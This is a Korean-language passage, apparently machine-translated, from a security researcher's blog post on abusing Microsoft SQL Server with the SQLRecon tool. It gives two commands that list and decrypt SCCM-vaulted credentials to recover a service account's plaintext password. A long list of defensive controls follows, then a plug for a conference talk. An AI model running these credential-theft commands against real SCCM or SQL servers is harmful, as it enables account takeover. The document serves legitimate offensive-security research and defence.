SCCM은 일반적으로 소프트웨어 패키지를 배포하거나 SCCM에서 제공하는 기타 다양한 작업을 수행하기 위해 환경의 시스템 또는 리소스에 인증하는 데 사용되는 자격 증명을 볼트에 저장해야 합니다. sCredentials  모듈을 사용하여 저장된 자격 증명 목록을 얻을 수 있습니다.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sCredentials

그림 32: SCCM SQL Server 데이터베이스를 통해 자격 증명 가져오기

위의 스크린샷에서 하나의 자격 증명이 저장되어 있는 것을 볼 수 있습니다. 이 자격 증명은 다음과 같은 자격 증명입니다. KAWALABS\mssccm_svc  계정을 사칭할 수 있음을 보여줍니다.

Adam Chester(@_xpn_)의 논리를 사용하면 SCCM 보관 자격 증명을 해독하고 보관 계정의 일반 텍스트 비밀번호를 얻을 수 있습니다. 이렇게 하려면 SCCM 서버에 대한 로컬 관리자 권한이 필요합니다. 다음 스크린샷에서는 sDecryptCredentials  계정을 사용하여 다음에 대해 보관된 자격 증명을 해독합니다. KAWALABS\mssccm_svc  계정을 사칭할 수 있음을 보여줍니다.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sDecryptCredentials

그림 33: 저장된 SCCM 자격 증명 복호화

공격자가 SQL Server를 악용하는 것을 방지하기 위해 방어자는 보안 제어를 구현할 때 계층화된 접근 방식을 취할 수 있습니다. 무엇보다도 SQL Server 보안 모범 사례에 대한 공식 Microsoft 지침을 읽어보실 것을 적극 권장합니다.

다음 단계는 예방, 탐지 및 완화 지침의SQLRecon  wiki에 훌륭한 대한 방어 고려 사항이 있습니다. 구현해야 할 몇 가지 중요한 통제를 골라 아래에 나열했습니다.

네트워크 수준에서 구현하려면 다음과 같은 보안 제어를 고려해야 합니다.

• SQL Server에 대한 네트워크 경로가 고려되고 승인된 시스템 또는 서브넷 집합으로만 제한되었는지 확인합니다. 워크스테이션에는 SQL Server와 직접 통신하는 기능이 거의 필요하지 않습니다. 가능한 경우 TCP 1433에 대한 액세스를 차단하는 것이 좋습니다.
• 네트워크 로깅 및 모니터링 툴이 네트워크 경계를 통과하는 SQL Query를 캡처하고 있는지 확인합니다. 워크스테이션에서 SQL 쿼리를 SQL 서버에 보내는 것은 드문 일입니다.

워크스테이션 및 서버를 제어합니다.

• 엔드포인트 탐지 및 대응 솔루션과 같은 호스트 기반 보안 제어가 활성화되어 있는지, 제품 서명이 정기적으로 완전히 최신 상태인지 검증합니다.
• 방어자는 Windows 엔드포인트에 .NET Framework v4.8이 설치되어 있는지, 사용 중인 모든 호스트 기반 보안 제품이 AMSI for .NET을 지원하는지 확인해야 합니다. 이를 통해 메모리에서 .NET 어셈블리를 스캔할 수 있습니다.
• 다음과 같이 서명되지 않은 바이너리를 방지하는 애플리케이션 허용 목록 지정 솔루션을 활성화하거나 구성합니다. SQLRecon 엔드포인트에서 직접 실행하지 못하게 합니다.

• 기본 Windows Server 운영 체제에서 강화 지침을 준수했는지 확인합니다. 필요한 SQL Database 구성 요소만 설치하는 것이 좋습니다.
• SQL Server가 조직의 패치 관리 정책에 포함되고 SQL 서비스 및 SQL Server에 패치가 정기적으로 적용되는지 확인합니다.
• SQL Server 인스턴스에 대한 인증을 받지 않는 BUILTIN\Users  계정을 제한하거나 제거하는 것을 고려합니다.
• 사용자 계정의 역할을 구성할 때는 최소 권한 원칙을 따르세요. 이 원칙은 SQL Server를 시작하는 서비스 계정에도 적용되어야 합니다.
• 불필요한 SQL 서비스 사용자 이름 연결을 제거합니다.
• 어떤 로컬 계정에도 강력한 비밀번호를 사용하세요. 예: sa  계정.
• SQL Server 로그온 이벤트를 기록하고 중앙에서 수집 및 감사할 수 있습니다. Netwrix는 이를 달성하는 방법에 대한 훌륭한 블로그를 작성했습니다.
• 민감한 콘텐츠를 암호화합니다. 이렇게 하면 SQL Server가 손상되더라도 데이터 세트가 노출되지 않도록 보호할 수 있습니다.
• SQL Server 간의 링크를 평가하고 링크를 바인딩하는 인증 유형을 결정합니다. 가능하면 현재 인증 보안 컨텍스트를 사용하도록 선택합니다. sa  계정.
• 설정된 모방 기능을 평가하고 그 요구사항을 파악합니다.
• Azure SQL Database를 사용하는 경우 Microsoft 고급 위협 방지가 활성화되어 있고 경고를 보내도록 구성되어 있는지 확인합니다.

SQL Server에 대한 공격은 오늘날의 사이버 보안 환경에서 계속해서 관련이 있습니다. 공격자들은 방어적 통제를 회피하기 위해 기술을 지속적으로 발전시키고 있으며, 이를 통해 SQL Server와 같은 보조 서비스를 악용하는 사례가 점점 더 많아지고 있습니다. 이러한 공격은 더욱 정교하고 은밀하게 이루어지며, 기존의 보안 조치를 우회하기 위해 덜 일반적인 기술을 사용하는 경우가 많습니다.

공격자는 SQL Server를 악용하여 민감한 데이터에 무단으로 액세스하고, 데이터베이스를 조작하고, 전체 시스템을 손상시킬 수도 있습니다. 이러한 공격의 결과는 심각하여 데이터 침해, 재정적 손실 및 조직의 평판 손상으로 이어질 수 있습니다.

이러한 공격의 위험을 완화하려면 조직이 SQL Server 구성을 검토하고 보안을 위한 모범 사례를 채택하는 것이 중요합니다. 또한 조직은 실시간 모니터링, 이상 징후 탐지 및 행동 분석 능력을 제공하는 보안 솔루션에 투자해야 합니다. 이러한 솔루션은 공격을 보다 효과적으로 탐지하고 대응하여 중요한 데이터와 시스템에 미치는 잠재적 영향을 최소화하는 데 도움이 될 수 있습니다. 조직은 SQL Server 환경을 보호하기 위한 조치를 취함으로써 이러한 공격의 피해자가 될 위험을 크게 줄이고 귀중한 데이터 자산을 보호할 수 있습니다.

언제든지 안정적인 최신 버전을 찾을 수 있습니다. SQLRecon X-Force Red Github 페이지에서.

Black Hat Las Vegas에 참석하는 중이며 더 자세한 내용을 알아보고 싶다면 8월 10일 목요일 오후 1시(태평양 표준시)에 열리는 제 세션 SQLRecon을 사용한 Microsoft SQL Server 악용에 참석하세요.